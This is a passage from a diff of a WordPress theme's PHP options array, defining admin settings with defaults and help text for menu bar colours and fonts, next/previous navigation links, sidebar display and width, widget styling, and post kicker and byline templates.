+            "id" => $shortname."_page_menu_bar_background_color_hover",
+            "std" => "eeeeee",
+            "type" => "text",
+            "info" => "Background color for menu items in hover state."),
+
+    array(    "name" => "Background color: Parent",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_page_menu_bar_background_color_parent",
+            "std" => "dddddd",
+            "type" => "text",
+            "info" => "Background color for parent menu item while hovering over its sub menu."),
+
+    array(    "name" => "Font Size &amp; Face",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_page_menu_font",
+            "std" => "11px Arial, Verdana, sans-serif",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "Set both the font size and the font face for the menu items. Enclose font face names with a 
+			space in quotes, i.e.:<br /><code>12px \"comic sans ms\", \"courier new\", arial, sans-serif</code><br />
+			<br />Don't use semicolons here."),
+
+    array(    "name" => "Link Color",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_page_menu_bar_link_color",
+            "std" => "777777",
+            "type" => "text",
+            "info" => "Color of the link text."),
+
+    array(    "name" => "Link Color: Hover",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_page_menu_bar_link_color_hover",
+            "std" => "000000",
+            "type" => "text",
+            "info" => "Color of the link text in hover state."),
+	
+    array(    "name" => "Transform text in Page Menu Bar?",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_page_menu_transform",
+            "type" => "select",
+            "std" => "uppercase",
+            "options" => array("uppercase", "lowercase", "capitalize", "none"),
+            "info" => "You can transform the link titles in the page menu bar."),
+
+    array(    "name" => "White or Black Arrows as Sub Menu Indicator?",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_page_menu_arrows",
+            "type" => "select",
+            "std" => "black",
+            "options" => array("black", "white"),
+            "info" => "If a menu item has sub menus, it will be indicated with down/right arrows. Choose the color for these arrows."),
+
+    array(    "name" => "Width of Sub Menus",
+    	    "category" => "page-menu-bar",
+            "id" => $shortname."_page_menu_submenu_width",
+            "type" => "select",
+            "std" => "11",
+			"lastoption" => "yes", 
+			"options" => array("7", "7.5", "8", "8.5", "9", "9.5", "10", "10.5", "11", "11.5", "12", "12.5", "13", 
+			"13.5", "14", "14.5", "15", "15.5", "16", "16.5", "17", "17.5", "18", "18.5", "19", "19.5", "20", "20.5", 
+			"21", "21.5", "22", "22.5", "23", "23.5", "24", "24.5", "25"),
+            "info" => "The width of top level items will adjust to the width of the links inside, but the sub menus 
+			need a defined width, <strong>in \"em\"</strong>."),
+			
+// New category: cat-menu-bar
+
+    array(    "name" => "Home link in Category Menu Bar",
+    	    "category" => "cat-menu-bar",
+			"switch" => "yes",
+            "id" => $shortname."_home_cat_menu_bar",
+            "std" => "",
+            "type" => "text",
+            "info" => "<ul><li>Leave this blank to have no \"Home\" link in the category menu bar</li><li>Or, put text 
+			here to include a link to your homepage into the category menu bar</li><li>The text doesn't have to be \"Home\", 
+			it can be anything</li></ul>"),
+
+    array(    "name" => "Exclude categories from Category Menu Bar?",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_exclude_cat_menu_bar",
+            "std" => "",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "<ul><li>Leave blank to include all categories in the category menu bar</li><li>To exclude certain 
+			categories put their ID into this field, separated by comma</li></ul><strong>Example:</strong> <code>13,29,102,117</code>
+			<br /><br />To get the ID of a category, go to Site Admin -> Manage -> Categories, point your mouse at the 
+			title of the category in question, and watch your browser's status bar (it's at the bottom) for an URL ending 
+			on \"...action=edit&cat_ID=<strong>XX</strong>\". <strong>XX</strong> is the ID of the category."),
+
+    array(    "name" => "Depth of Category Menu Bar",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_levels_cat_menu_bar",
+            "std" => "0",
+            "type" => "select",
+            "options" => array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10),
+            "info" => "<ul><li>Choose 0 to include ALL levels of categories (top level, sub cats, sub sub cats...) in the 
+			category menu bar</li><li>Choose a number between 1 and 10 to include only the respective amount of category levels</li></ul>"),
+
+    array(    "name" => "Sorting order of Category Menu Bar",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_sorting_cat_menu_bar",
+            "type" => "select",
+            "std" => "ID",
+            "options" => array("ID", "name", "count"),
+            "info" => "<ul><li><code>ID</code> - Sort the categories chronologically, as you created them</li>
+			<li><code>name</code> - alphabetically</li><li><code>count</code> - by number of posts</li></ul>"),
+
+    array(    "name" => "Title tags in Category Menu Bar",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_titles_cat_menu_bar",
+            "type" => "select",
+            "std" => "No",
+            "options" => array("No", "Yes"),
+            "info" => "Include a \"title\" tag for each item in the category menu bar? Title tags are the little 
+			boxes that pop up when hovering over a menu item. Setting this to yes makes sense if you've set a 
+			\"description\" for each category (Manage -> Categories -> Click on category name). Otherwise the 
+			title tag will just repeat the category name."),
+
+    array(    "name" => "Border around all menu items",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_anchor_border_cat_menu_bar",
+            "std" => "solid 1px #000000",
+            "type" => "text",
+            "info" => "Every item of the menu bar, plus the menu bar itself, will be wrapped into this border. 
+			To have no borders in the first level, give it the same color as the background color for first level items. 
+			Don't use semicolons here. <br /><br />Note: Leave the border width at 1px, match colors if you want to make it dissapear."),
+
+    array(    "name" => "Background color",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_bar_background_color",
+            "std" => "777777",
+            "type" => "text",
+            "info" => "Background color for menu items in their default state and the menu bar itself."),
+
+    array(    "name" => "Background color: Hover",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_bar_background_color_hover",
+            "std" => "cc0000",
+            "type" => "text",
+            "info" => "Background color for menu items in hover state."),
+
+    array(    "name" => "Background color: Parent",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_bar_background_color_parent",
+            "std" => "000000",
+            "type" => "text",
+            "info" => "Background color for parent menu item while hovering over its sub menu."),
+			
+    array(    "name" => "Font for Category Menu Bar",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_font",
+            "std" => "11px Arial, Verdana, sans-serif",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "Set both the font size and the font face for the menu items. Enclose font face names 
+			with a space in quotes, i.e.:<br /><code>12px \"comic sans ms\", \"courier new\", arial, sans-serif</code>
+			<br /><br />Don't use semicolons here."),
+
+    array(    "name" => "Link Color",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_bar_link_color",
+            "std" => "ffffff",
+            "type" => "text",
+            "info" => "Color of the link text in default state."),
+
+    array(    "name" => "Link Color: Hover",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_bar_link_color_hover",
+            "std" => "ffffff",
+            "type" => "text",
+            "info" => "Color of the link text in hover state."),
+			
+    array(    "name" => "Transform text in Category Menu Bar?",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_transform",
+            "type" => "select",
+            "std" => "uppercase",
+            "options" => array("uppercase", "lowercase", "capitalize", "none"),
+            "info" => "You can transform the link titles in the category menu bar."),
+			
+    array(    "name" => "White or Black Arrows as Sub Menu Indicator?",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_arrows",
+            "type" => "select",
+            "std" => "white",
+            "options" => array("white", "black"),
+            "info" => "If a menu item has sub menus, it will be indicated with down/right arrows. 
+			Choose the color for these arrows."),
+
+    array(    "name" => "Width of Sub Menus",
+    	    "category" => "cat-menu-bar",
+            "id" => $shortname."_cat_menu_submenu_width",
+            "type" => "select",
+            "std" => "11",
+			"lastoption" => "yes", 
+			"options" => array("7", "7.5", "8", "8.5", "9", "9.5", "10", "10.5", "11", "11.5", "12", "12.5", 
+			"13", "13.5", "14", "14.5", "15", "15.5", "16", "16.5", "17", "17.5", "18", "18.5", "19", "19.5", "20", 
+			"20.5", "21", "21.5", "22", "22.5", "23", "23.5", "24", "24.5", "25"),
+            "info" => "The width of top level items will adjust to the width of the links inside, but the sub menus 
+			need a defined width, <strong>in \"em\"</strong>."),
+			
+// new category: center
+
+	array(    "name" => "Center column style",
+    	    "category" => "center",
+			"switch" => "yes",
+            "id" => $shortname."_center_column_style",
+            "std" => "padding: 10px 15px;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "Style the center column here. The center column is the container for everything in the middle: 
+			All posts (including \"page\" posts) and the next/prev navigation."),
+			
+
+// New category: next/prev navigation
+			
+    array(    "name" => "NEWER / OLDER orientation",
+    	    "category" => "next-prev-nav",
+			"switch" => "yes",
+            "id" => $shortname."_next_prev_orientation",
+            "std" => "Newer Left, Older Right",
+            "type" => "select", 
+			"options" => array("Newer Left, Older Right", "Older Left, Newer Right"), 
+            "info" => "Show the link to the NEWER post/page on the LEFT or the RIGHT hand side of the navigation bar(s)?"),
+			
+    array(    "name" => "Home link in Nav. on MULTI post pages?",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_home_multi_next_prev",
+            "std" => "",
+            "type" => "text",
+            "info" => "On multi post pages, show a \"Home\" link between the 2 links pointing to the previous and 
+			the next page?<ul><li>Leave blank to show no \"Home\" link</li><li>Or, put any text here to use it as 
+			the text for the link to the homepage</li><li>If you use the WP-PageNavi plugin, this setting becomes 
+			obsolete as then the page numbers of WP-PageNavi will be displayed instead of the default next/prev links</li></ul>"),
+
+    array(    "name" => "Home link in Nav. on SINGLE post pages?",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_home_single_next_prev",
+            "std" => "",
+            "type" => "text",
+            "info" => "On single post pages, show a \"Home\" link between the 2 links pointing to the previous and 
+			the next post?<ul><li>Leave blank to show no \"Home\" link</li><li>Or, put any text here to use it as 
+			the text for the link to the homepage</li></ul>"),
+
+    array(    "name" => "\"Newer Page\" link on MULTI post pages",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_multi_next_prev_newer",
+            "std" => "&laquo; Newer Entries",
+            "type" => "text",
+			"size" => "30", 
+			"editable" => "yes", 
+            "info" => "You can use single and double quotes, and HTML. Examples:<ul><li><code>&lt;br /&gt;</code> 
+			for line breaks</li><li><code>&lt;strong&gt; ... &lt;/strong&gt;</code> to make text <strong>bold</strong></li>
+			<li><code>&lt;em&gt; ... &lt;/em&gt;</code> to make text <em>italic</em></li><li><code>&amp;nbsp;</code> to 
+			include a non-breaking space</li><li><code>&amp;raquo;</code> for a right angle quote 
+			<span style=\"font-size: 25px\">&raquo;</span></li><li><code>&amp;laquo;</code> for a left angle quote 
+			<span style=\"font-size: 25px\">&laquo;</span></li><li><code>&amp;rsaquo;</code> for a right single angle quote 
+			<span style=\"font-size: 25px\">&rsaquo;</span></li><li><code>&amp;lsaquo;</code> for a left single angle quote 
+			<span style=\"font-size: 25px\">&lsaquo;</span></li><li><code>&amp;rarr;</code> for a right arrow 
+			<span style=\"font-size: 25px\">&rarr;</span></li><li><code>&amp;larr;</code> for a left arrow 
+			<span style=\"font-size: 25px\">&larr;</span></li></ul>
+			<em>NOTE: If you use WP-PageNavi then this and the next setting become obsolete</em>"), 
+
+    array(    "name" => "\"Older Page\" link on MULTI post pages",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_multi_next_prev_older",
+            "std" => "Older Entries &raquo;",
+            "type" => "text",
+			"size" => "30", 
+			"editable" => "yes", 
+            "info" => "See above for HTML examples."), 
+
+    array(    "name" => "\"Newer Post\" link on SINGLE post pages",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_single_next_prev_newer",
+            "std" => "&laquo; %link",
+            "type" => "text",
+			"size" => "30", 
+			"editable" => "yes", 
+            "info" => "See above for HTML examples.<br /><br />To include the linked title of the newer post, use <code>%link</code>"), 
+			
+    array(    "name" => "\"Older Post\" link on SINGLE post pages",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_single_next_prev_older",
+            "std" => "%link &raquo;",
+            "type" => "text",
+			"size" => "30", 
+			"editable" => "yes", 
+            "info" => "See above for HTML examples.<br /><br />To include the linked title of the older post, use <code>%link</code>"),
+
+);
+
+$options2 = array(
+
+    array(    "name" => "\"Newer Comments\" link for COMMENTS navigation",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_comments_next_prev_newer",
+            "std" => "Newer Comments &raquo;",
+            "type" => "text",
+			"size" => "30", 
+			"editable" => "yes", 
+            "info" => "See above for HTML examples. If you choose to show page numbers (see below) the 
+			\"Newer Comments\" link will be on the left hand side of the page numbers."), 
+			
+    array(    "name" => "\"Older Comments\" link for COMMENTS navigation",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_comments_next_prev_older",
+            "std" => "&laquo; Older Comments",
+            "type" => "text",
+			"size" => "30", 
+			"editable" => "yes", 
+            "info" => "See above for HTML examples. If you choose to show page numbers (see below) the 
+			\"Older Comments\" link will be on the right hand side of the page numbers."), 
+
+    array(    "name" => "Location of Paged COMMENTS Navigation",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_location_comments_next_prev",
+            "std" => "Above and Below Comments",
+            "type" => "select", 
+			"options" => array("Above Comments", "Below Comments", "Above and Below Comments"), 
+            "info" => "Show the Next/Previous comments navigation above or below the comments?<br /><br />
+			"),
+
+    array(    "name" => "Style the COMMENTS ABOVE Box",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_next_prev_style_comments_above",
+            "std" => "margin: 0 0 10px 0;\npadding: 5px 0 5px 0;",
+            "type" => "textarea",
+            "info" => "Style the box that contains the next/previous navigation for comments, when it is above the comments."),
+
+    array(    "name" => "Style the COMMENTS BELOW Box",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_next_prev_style_comments_below",
+            "std" => "margin: 0 0 10px 0;\npadding: 5px 0 5px 0;",
+            "type" => "textarea",
+            "info" => "Style the box that contains the next/previous navigation for comments, when it is below the comments."),
+
+    array(    "name" => "Show Page Numbers (Pagination) for COMMENTS Navigation",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_next_prev_comments_pagination",
+            "std" => "Yes",
+            "type" => "select", 
+			"options" => array("Yes", "No"), 
+            "info" => "Instead of the regular Newer Comments / Older Comments links you can show the page numbers plus 
+			previous/next links. Your settings for \"Newer Comments\" link and \"Older Comments\" link from above 
+			will be used as the next/previous link texts."),
+
+);
+
+$options3 = array(
+			
+    array(    "name" => "Location of Next/Previous Page Navigation on MULTI Post Pages",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_location_multi_next_prev",
+            "std" => "Bottom",
+            "type" => "select", 
+			"options" => array("Top", "Bottom", "Top and Bottom", "None"), 
+            "info" => "On multi post pages, show the Next/Previous navigation on top (above all posts), at the bottom 
+			(below all posts), or on top AND at the bottom?"),
+			
+    array(    "name" => "Location of Next/Previous Post Navigation on SINGLE Post Pages",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_location_single_next_prev",
+            "std" => "Top",
+            "type" => "select", 
+			"options" => array("Top", "Middle", "Bottom", "Top and Middle", "Top and Bottom", "Middle and Bottom", 
+			"Top, Middle and Bottom", "None"), 
+            "info" => "On single post pages, show the Next/Previous navigation on top, in the middle 
+			(between the post and the comments), or at the bottom?"),
+
+    array(    "name" => "Style the Navigation TOP Box",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_next_prev_style_top",
+            "std" => "margin: 0 0 10px 0;\npadding: 10px 0 10px 0;\nborder-bottom: dashed 1px #ccc;",
+            "type" => "textarea",
+            "info" => "Style the box that contains the next/previous navigation, when it is at the top."),
+
+	array(    "name" => "Style the Navigation MIDDLE Box",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_next_prev_style_middle",
+            "std" => "margin: 10px 0 20px 0;\npadding: 10px 0 10px 0;\nborder-top: dashed 1px #ccc;\nborder-bottom: dashed 1px #ccc;",
+            "type" => "textarea",
+            "info" => "Style the box that contains the next/previous navigation, when it is in the middle."),
+			
+    array(    "name" => "Style the Navigation BOTTOM Box",
+    	    "category" => "next-prev-nav",
+            "id" => $shortname."_next_prev_style_bottom",
+            "std" => "margin: 20px 0 0 0;\npadding: 10px 0 10px 0;\nborder-top: dashed 1px #ccc;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "Style the box that contains the next/previous navigation, when it is at the bottom."),
+			
+// New category: sidebars
+
+    array(    "name" => "LEFT sidebar: Display on:",
+    	    "category" => "sidebars",
+			"switch" => "yes",
+            "id" => $shortname."_leftcol_on",
+            "std" => array ("homepage" => "on", 
+								"frontpage" => "on", 
+								"single" => "on", 
+								"page" => "on", 
+								"category" => "on", 
+								"date" => "on", 
+								"tag" => "on", 
+								"search" => "on", 
+								"author" => "on", 
+								"404" => "on", 
+								"attachment" => "on", 
+								"check-if-saved-once" => FALSE),
+            "type" => "displayon",
+			"stripslashes" => "no",
+            "info" => "(*) \"Front Page\" will only affect WP 2.5 and newer: For those newer WP versions, 
+			IF you select a static \"Page\" page as the home page, then \"Front Page\" becomes the actual homepage, 
+			while the \"Homepage\" will be the home page for Posts (but not the whole blog). If no static front page 
+			is selected, Homepage and Front Page will be the same."),
+
+    array(    "name" => "LEFT sidebar: Don't display on Pages:",
+    	    "category" => "sidebars",
+            "id" => $shortname."_left_col_pages_exclude",
+            "std" => "",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "To turn off the left sidebar on <strong>individual</strong> pages, put the ID's of 
+			those pages here, separated by comma<br /><br /><strong>Example:</strong><br /><code>29,8,111</code><br /><br />
+			To get the ID of a page, " . $go_to_pages . ", point your mouse at the title of the page in question, and 
+			watch your browser's status bar (it's at the bottom) for an URL ending on \"...action=edit&post=<strong>XX</strong>\". 
+			<strong>XX</strong> is the ID of the page."), 
+
+    array(    "name" => "LEFT sidebar: Don't display on Categories:",
+    	    "category" => "sidebars",
+            "id" => $shortname."_left_col_cats_exclude",
+            "std" => "",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "To turn off the left sidebar on <strong>individual</strong> category pages, put the ID's of 
+			those categories here, separated by comma<br /><br /><strong>Example:</strong><br /><code>13,5,87</code><br /><br />
+			To get the ID of a category, " . $go_to_cats . ", point your mouse at the title of the category in question, 
+			and watch your browser's status bar (it's at the bottom) for an URL ending on \"...action=edit&cat_ID=<strong>XX</strong>\". 
+			<strong>XX</strong> is the ID of the category.<br /><br />Note: This will turn on/off sidebars on category pages 
+			(pages that list the posts in the given category), but not on \"all single post pages of posts in category XX\"."), 
+			
+	array(    "name" => "RIGHT sidebar: Display on:",
+    	    "category" => "sidebars",
+            "id" => $shortname."_rightcol_on",
+            "std" => array ("homepage" => "on", 
+								"frontpage" => "on", 
+								"single" => "on", 
+								"page" => "on", 
+								"category" => "on", 
+								"date" => "on", 
+								"tag" => "on", 
+								"search" => "on", 
+								"author" => "on", 
+								"404" => "on", 
+								"attachment" => "on", 
+								"check-if-saved-once" => FALSE),
+            "type" => "displayon",
+			"stripslashes" => "no",
+            "info" => "(*) \"Front Page\" will only affect WP 2.5 and newer: For those newer WP versions, IF you 
+			select a static \"Page\" page as the home page, then \"Front Page\" becomes the actual homepage, while the 
+			\"Homepage\" will be the home page for Posts (but not the whole blog). If no static front page is selected, 
+			Homepage and Front Page will be the same."),
+
+    array(    "name" => "RIGHT sidebar: Don't display on Pages:",
+    	    "category" => "sidebars",
+            "id" => $shortname."_right_col_pages_exclude",
+            "std" => "",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "To turn off the right sidebar on <strong>individual</strong> pages, put the ID's of 
+			those pages here, separated by comma<br /><br /><strong>Example:</strong><br /><code>29,8,111</code><br /><br />
+			To get the ID of a page, " . $go_to_pages . ", point your mouse at the title of the page in question, and 
+			watch your browser's status bar (it's at the bottom) for an URL ending on \"...action=edit&post=<strong>XX</strong>\". 
+			<strong>XX</strong> is the ID of the page."), 
+
+    array(    "name" => "RIGHT sidebar: Don't display on Categories:",
+    	    "category" => "sidebars",
+            "id" => $shortname."_right_col_cats_exclude",
+            "std" => "",
+            "type" => "text",
+			"size" => "30", 
+            "info" => "To turn off the right sidebar on <strong>individual</strong> categories, put the ID's of 
+			those categories here, separated by comma<br /><br /><strong>Example:</strong><br /><code>13,5,87</code><br /><br />
+			To get the ID of a category, " . $go_to_cats . ", point your mouse at the title of the category in question, and 
+			watch your browser's status bar (it's at the bottom) for an URL ending on \"...action=edit&cat_ID=<strong>XX</strong>\". 
+			<strong>XX</strong> is the ID of the category.<br /><br />Note: This will turn on/off sidebars on category pages 
+			(pages that list the posts in the given category), but not on \"all single post pages of posts in category XX\""), 
+ 
+    array(    "name" => "LEFT sidebar WIDTH",
+    	    "category" => "sidebars",
+            "id" => $shortname."_left_sidebar_width",
+            "std" => "200",
+            "type" => "text", 
+			"size" => "6", 
+            "info" => "Width of the left sidebar in pixels. <strong>Example:</strong> <code>165</code>"),
+
+    array(    "name" => "RIGHT sidebar WIDTH",
+    	    "category" => "sidebars",
+            "id" => $shortname."_right_sidebar_width",
+            "std" => "200",
+            "type" => "text", 
+			"size" => "6", 
+            "info" => "Width of the right sidebar in pixels. <strong>Example:</strong> <code>220</code>"),
+			
+    array(    "name" => "LEFT sidebar style",
+    	    "category" => "sidebars",
+            "id" => $shortname."_left_sidebar_style",
+            "std" => "border-right: dashed 1px #CCCCCC;\npadding: 10px 10px 10px 10px;\nbackground: #ffffff;",
+            "type" => "textarea",
+            "info" => "Style the LEFT sidebar here. Usually all content in a sidebar would be inside of widgets, 
+			so there should be no need to set text styles for the sidebar. The widgets can be styled separately, 
+			see the menu tabs above."),
+
+    array(    "name" => "RIGHT sidebar style",
+    	    "category" => "sidebars",
+            "id" => $shortname."_right_sidebar_style",
+            "std" => "border-left: dashed 1px #CCCCCC;\npadding: 10px 10px 10px 10px;\nbackground: #ffffff;",
+            "type" => "textarea",
+			"lastoption" => "yes", 
+            "info" => "Style the RIGHT sidebar here."),
+
+// New category: widgets
+
+    array(    "name" => "Widget Container",
+    	    "category" => "widgets",
+			"switch" => "yes",
+            "id" => $shortname."_widget_container",
+            "std" => "margin: 0 0 15px 0;",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/widget.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"The widget container contains the \"Widget Title\" (-Box) and the \"Widget Content\" (-Box), 
+			both of which you can style independently."),
+
+    array(    "name" => "Widget Title Box",
+    	    "category" => "widgets",
+            "id" => $shortname."_widget_title_box",
+            "std" => "",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/widget-title-box.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . 
+			"The Widget Title box contains the widget title. Text, calendar and search widgets may have no 
+			title if you chose none. In that case there will be no Widget Title box in the widget container."),	
+
+    array(    "name" => "Widget Title",
+    	    "category" => "widgets",
+            "id" => $shortname."_widget_title",
+            "std" => "",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/widget-title.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Style the Widget Title Font."),	
+
+    array(    "name" => "Widget Content Box",
+    	    "category" => "widgets",
+            "id" => $shortname."_widget_content",
+            "std" => "",
+            "type" => "textarea",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/widget-content.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "The widget Content box contains all the widget 
+			content except the title."),
+
+    array(    "name" => "Widget List Items",
+    	    "category" => "widgets",
+            "id" => $shortname."_widget_lists",
+       			"std" => array  (
+       								"li-margin-left" => 0, 
+       								"link-weight" => "normal", 
+       								"link-padding-left" => 5, 
+       								"link-border-left-width" => 7,
+       								"link-color" => "666666", 
+       								"link-hover-color" => "000000",  
+       								"link-border-left-color" => "cccccc", 
+       								"link-border-left-hover-color" => "000000"),
+            "type" => "widget-list-items",
+			"stripslashes" => "no",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/widget-list-items-1.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "List items and links in widgets."),
+
+    array(    "name" => "Widget List Items, 2nd level",
+    	    "category" => "widgets",
+            "id" => $shortname."_widget_lists2",
+       			"std" => array  (
+       								"li-margin-left" => 5, 
+       								"link-weight" => "normal", 
+       								"link-padding-left" => 5, 
+       								"link-border-left-width" => 7,
+       								"link-color" => "666666", 
+       								"link-hover-color" => "000000",  
+       								"link-border-left-color" => "cccccc", 
+       								"link-border-left-hover-color" => "000000"),
+            "type" => "widget-list-items",
+			"stripslashes" => "no",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/widget-list-items-2.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Second level list items and links in widgets."),
+
+    array(    "name" => "Widget List Items, 3rd and lower level",
+    	    "category" => "widgets",
+            "id" => $shortname."_widget_lists3",
+				"std" => array  (
+       								"li-margin-left" => 5, 
+       								"link-weight" => "normal", 
+       								"link-padding-left" => 5, 
+       								"link-border-left-width" => 7,
+       								"link-color" => "666666", 
+       								"link-hover-color" => "000000",  
+       								"link-border-left-color" => "cccccc", 
+       								"link-border-left-hover-color" => "000000"),
+            "type" => "widget-list-items",
+			"stripslashes" => "no",
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/widget-list-items-3.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "Third and lower level list items and links in widgets."),
+
+    array(    "name" => "Category Widget Display Type",
+    	    "category" => "widgets",
+            "id" => $shortname."_category_widget_display_type",
+            "std" => "inline",
+            "type" => "select", 
+            "options" => array("inline", "block"),
+            "info" => "The category widget needs this extra setting because it is the only widget that can 
+			have both a link and a non-linked text (the \"post count\") inside a single list item AND be 
+			hierarchical AND be too long to fit into a single line. For the most pleasing result across 
+			browsers, choose... <ul><li><code>inline</code> if you are displaying the post count</li>
+			<li><code>block</code> if you're <strong>not</strong> displaying the post count</li></ul>"),
+
+    array(    "name" => "Adjust SELECT menu font size",
+    	    "category" => "widgets",
+            "id" => $shortname."_select_font_size",
+            "std" => "Default",
+            "type" => "select", 
+            "options" => array("Default", "12px", "11px", "10px", "9px"),
+			"lastoption" => "yes", 
+            "info" => "<img src=\"" . $stylesheet_directory . "/options/images/select-cutoff.gif\" 
+			style=\"float: right; margin: 0 0 10px 10px;\">" . "In <strong>Internet Explorer</strong>, 
+			\"Select\" drop down menus will be cut off if one or more of the select menu items (in this 
+			case: category titles) are too long. <br /><br />To avoid this, set a (small) fixed pixel font 
+			size for the select menu items here, such as <strong>11px</strong> (11 pixels) if you feel 
+			(or see, because you use IE) that your select menus might be too wide for the set sidebar 
+			width. (OR: Make your sidebar wider)"),
+			
+// New category: postinfos
+
+    array(    "name" => "KICKER: Homepage",
+    	    "category" => "postinfos",
+			"switch" => "yes",
+            "id" => $shortname."_post_kicker_home",
+            "type" => "postinfos",
+            "std" => "",
+            "info" => "Leave blank to display no kicker on posts on the homepage.<br /><strong>Example:
+			</strong> <code>%category%</code>"),
+
+	array(    "name" => "KICKER: Multi Post Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_kicker_multi",
+            "type" => "postinfos",
+            "std" => "",
+            "info" => "Leave blank to display no kicker on posts on multi post pages.<br /><strong>Example:
+			</strong> <code>%category-linked%</code>"),
+
+	array(    "name" => "KICKER: Single Post Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_kicker_single",
+            "type" => "postinfos",
+            "std" => "",
+            "info" => "Leave blank to display no kicker on posts on single post pages.<br /><strong>Example:
+			</strong> <code>%category-linked%</code>"),
+
+	array(    "name" => "KICKER: \"Page\" Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_kicker_page",
+            "type" => "postinfos",
+            "std" => "",
+            "info" => "Leave blank to display no kicker on \"page\" pages.<br /><em>NOTE: \"Page\" 
+			pages don't have categories or tags</em>"),
+
+	array(    "name" => "BYLINE: Homepage",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_byline_home",
+            "type" => "postinfos",
+            "std" => "",
+            "info" => "Leave blank to display no byline on posts on the homepage.<br /><strong>Example:
+			</strong> <code>By %author%, on %date('<i>F jS, Y</i>')%</code>"),
+
+	array(    "name" => "BYLINE: Multi Post Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_byline_multi",
+            "type" => "postinfos",
+            "std" => "",
+            "info" => "Leave blank to display no byline on posts on multi post pages.<br /><strong>Example:
+			</strong> <code>By %author%, on %date('<i>F jS, Y</i>')%</code>"),
+
+	array(    "name" => "BYLINE: Single Post Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_byline_single",
+            "type" => "postinfos",
+            "std" => "",
+            "info" => "Leave blank to display no byline on posts on single post pages.<br /><strong>Example:
+			</strong> <code>By %author%, on %date('<i>F jS, Y</i>')%</code>"),
+
+	array(    "name" => "BYLINE: \"Page\" Pages",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_byline_page",
+            "type" => "postinfos",
+            "std" => "",
+            "info" => "Leave blank to display no byline on \"page\" pages.<br /><em>NOTE: \"Page\" 
+			pages don't have categories or tags</em>"),
+
+	array(    "name" => "FOOTER: Homepage",
+    	    "category" => "postinfos",
+            "id" => $shortname."_post_footer_home",
+            "type" => "postinfos",
+            "std" => "%date('F jS, Y')% | %tags-linked('Tags: ', ', ', ' | ')% Category: %categories-linked(', ')% | 
+			%comments('Leave a comment', 'One comment', '% comments', 'Comments are closed')%",
+            "info" => "Leave blank to display no footer on posts on the homepage.<br /><strong>Example:</strong> 
+			<code>%tags-linked('<i>&lt;strong&gt;Tags:&lt;/strong&gt; </i>', '<i>, </i>', '<i> - </i>')% 
+			&lt;strong&gt;Categories:&lt;/strong&gt; %categories-linked('<i>, </i>')%&lt;br /&gt;
+			%comments('<i>Leave a comment</i>', '<i>One comment so far</i>', '<i>% comments - be the next!</i>', 
